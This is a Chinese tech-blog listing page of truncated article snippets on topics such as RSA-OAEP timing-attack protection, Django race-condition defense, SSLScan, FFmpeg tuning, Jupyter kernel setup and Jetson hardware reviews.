目录 RSA-OAEP填充方案与定时攻击防护一、前言二、RSA 与 OAEP 填充方案概述2.1 RSA 加密算法基础2.2 OAEP 填充方案的引入2.3 数学公式推导 三、定时攻击原理与防护策略3.1 定时攻击的基本原理3.2 防护定时攻击的策略 四、基于 Python 的 RSA-OAEP 与定时攻击防护实现五、完整…...
探索高性能AI识别和边缘计算 | NVIDIA Jetson Orin Nano 8GB 开发套件测评总结
# NVIDIA Jetson Orin Nano 8GB测评:当边缘计算遇上"性能暴徒",树莓派看了想转行 引言:比咖啡机还小的"AI超算",却让开发者集体沸腾 2025年的某个深夜,程序员老王盯着工位上巴掌大的NVIDIA Jets…...
Seata
Seata是一款开源的分布式事务解决方案,由阿里巴巴发起并维护,旨在帮助应用程序管理和协调分布式事务。以下是对Seata的详细介绍: 一、概述 Seata致力于提供高性能和简单易用的分布式事务服务,它为用户提供了AT、TCC、SAGA和XA等…...
STM32之Unix时间戳
时间戳按秒计时,可转换成年月日时分。32有符号存储时间戳,2的32次/2-1到2038年,STM32是2的32次方-1,到2106年溢出。所有时区共用一个时间戳秒计数器,在伦敦和北京都是0,不同经度加上小时即可。...
告别手动复制粘贴:可定时自动备份的实用软件解析
软件介绍 此前不少小伙伴都在找备份工具,其实复制文件用fastcopy就可以,但它需要手动操作。 今天介绍的简易备份工具则能实现定时备份。 这款软件有个小问题,当源目录和目标目录路径太长时,【立即备份】按钮可能会超出软件界面范…...
Django下防御Race Condition
目录 漏洞原因 环境搭建 复现 A.无锁无事务时的竞争攻击 B.无锁有事务时的竞争攻击 防御 A.悲观锁加事务防御 B.乐观锁加事务防御 总结 漏洞原因 Race Condition 发生在多个执行实体(如线程、进程)同时访问共享资源时,由于执行顺序…...
python从入门到精通(二十三):文件操作和目录管理难度分级练习题
文件操作和目录管理 文件操作基础难度1. 简单文件写入2. 简单文件读取3. 追加内容到文件 中级难度4. 逐行读取文件并统计行数5. 读取文件并提取特定信息6. 复制文件内容到新文件 高级难度7. 处理二进制文件8. 批量文件处理9. 日志文件分析 参考答案示例1. 简单文件写入2. 简单文…...
揭开AI-OPS 的神秘面纱 第二讲-技术架构与选型分析 -- 数据采集层技术架构与组件选型分析
基于上一讲预设的架构图,深入讨论各个组件所涉及的技术架构、原理以及选型策略。我将逐层、逐组件地展开分析,并侧重于使用数据指标进行技术选型的对比。 我们从 数据采集层 开始,进行最细粒度的组件分析和技术选型比对。 数据采集层技术架构…...
jupyter配置多个核心
CMD输入 先创建虚拟环境 "D:\Program Files\Python37\python.exe" -m venv myenv激活虚拟环境 myenv\Scripts\activate"D:\Program Files\Python37\python.exe" -m pip install ipykernel "D:\Program Files\Python37\python.exe" -m ipykern…...
如何优化FFmpeg拉流性能及避坑指南
FFmpeg作为流媒体处理的核心工具,其拉流性能直接影响直播/点播体验。本文从协议优化、硬件加速、网络策略三大维度切入,结合实战案例与高频踩坑点,助你突破性能瓶颈! 一、性能优化进阶:从协议到硬件的全链路调优 协议选…...
机器学习:线性回归,梯度下降,多元线性回归
线性回归模型 (Linear Regression Model) 梯度下降算法 (Gradient Descent Algorithm) 的数学公式 多元线性回归(Multiple Linear Regression)...
笔记五:C语言编译链接
Faye:孤独让我们与我们所爱的人相处的每个瞬间都无比珍贵,让我们的回忆价值千金。它还驱使你去寻找那些你在我身边找不到的东西。 ---------《寻找天堂》 目录 一、编译和链接的介绍 1.1 程序的翻译环境和执行环境 1.1.1 翻译环境 1.1.2 运行环境 …...
SpringUI:打造高质量Web交互设计的首选元件库
SpringUI作为一个专为Web设计与开发领域打造的高质量交互元件库,确实为设计师和开发者提供了极大的便利。以下是对SpringUI及其提供的各类元件的详细解读和一些建议: SpringUI概述 SpringUI集合了一系列预制的、高质量的交互组件,旨在帮助设…...
LeetCode - 神经网络的 反向传播(Sigmoid + MSE) 教程
欢迎关注我的CSDN:https://spike.blog.csdn.net/ 本文地址:https://spike.blog.csdn.net/article/details/146085177 使用 Python + Numpy,设计带有 Sigmoid 激活函数 的神经网络,实现反向传播以更新神经元的权重和偏置。函数输入:特征向量(Input)、真实标签(Label)、初始…...
Elastic如何获取当前系统时间
文章目录 1. 使用 _ingest.timestamp 在 Ingest Pipeline 中获取当前时间2. 使用 Painless Script 获取当前时间3. 使用 now 关键字在查询中获取当前时间4. 使用 date 类型字段的默认值5. 使用 Kibana 的 Dev Tools 查看当前时间6. 使用 date 聚合获取当前时间7. 使用 Elastics…...
腾讯云对象存储服务(COS)
腾讯云对象存储服务(COS) 安全、可扩展、低成本的云存储解决方案 腾讯云 对象存储服务(COS,Cloud Object Storage) 是一种高可靠、高性能、可扩展的云存储服务,专为海量非结构化数据(如图片、…...
力扣35.搜索插入位置-二分查找
class Solution:def searchInsert(self, nums: List[int], target: int) -> int:# 初始化左右指针left, right 0, len(nums) - 1# 当左指针小于等于右指针时,继续循环while left < right:# 计算中间位置mid (left right) // 2# 如果中间元素等于目标值&…...
SSLScan实战指南:全面检测SSL/TLS安全配置
SSLScan是一款开源的SSL/TLS安全扫描工具,用于检测服务器的加密协议、支持的加密套件、证书信息以及潜在的安全漏洞。本指南将详细介绍如何安装、使用SSLScan,并结合实战案例帮助您全面评估服务器的安全性。 一、SSLScan简介 功能特性: 检测支持的SSL/TLS协议版本(如TLS 1.…...
Linux 进程管理
一.进程 1.基本介绍 在Linux中每一个执行的程序都称之为进程,每一个进程都会分配一个进程号(PID)。进程以前台和后台两种方式存在,前台进程就是我们可以在屏幕上操作的,后台进程我们无法在屏幕上看到。 程序是静态的…...
mfc140u.dll是什么?当程序遭遇mfc140u.dll问题:快速恢复正常的秘诀
在使用Windows操作系统运行某些软件时,不少用户会遇到令人头疼的mfc140u.dll文件丢失错误。mfc140u.dll这个错误一旦出现,往往导致相关程序无法正常启动或运行,给用户带来诸多不便。这天的这篇文章将给大家分析mfc140u.dll是什么?…...
日新F1、瑞研F600P 干线光纤熔接(熔接损耗最大0.03DB)
Ⅰ. 设备特性对比与实测验证 1. 日新F1(两马达)极限参数 切割角度:必须≤0.3(双边累计误差<0.6) ▶ 实测案例:切割0.35时,损耗波动达0.05-0.08dB(超干线标准)…...
【我的待办(MyTodolists)-免费无内购的 IOS 应用】
我的待办(MyTodolists) 我的待办:智能任务管理助手应用说明主要功能为什么选择"我的待办"?隐私保障使用截图 我的待办:智能任务管理助手 应用说明 "我的待办"是一款智能化的任务管理应用&#x…...
微信小程序+SpringBoot的单词学习小程序平台(程序+论文+讲解+安装+修改+售后)
感兴趣的可以先收藏起来,还有大家在毕设选题,项目以及论文编写等相关问题都可以给我留言咨询,我会一一回复,希望帮助更多的人。 系统背景 (一)社会需求背景 在全球化的大背景下,英语作为国际…...
测试直播web自动化所学
web框架封装 web自动化开始:用电脑替代人工测试。 日常人工测试 —— 先点击XX 输入XXX 。。。页面是否符合预期 自动化测试的编码: web自动化,Selenium[常用测试库] Selenium,每个页面,是由元素组成的。html构成。 …...
Vue+Ant Design搭建AI聊天对话
今天在这里介绍一下 Ant Design X,这是蚂蚁设计团队推出的一款专注于人工智能(AI)领域的组件库,主要面向 React 生态系统(目前支持Openai,通义千问)。官方也推出了ant-design-x-vue 面向 Vue。当然我们今天的主题也是使…...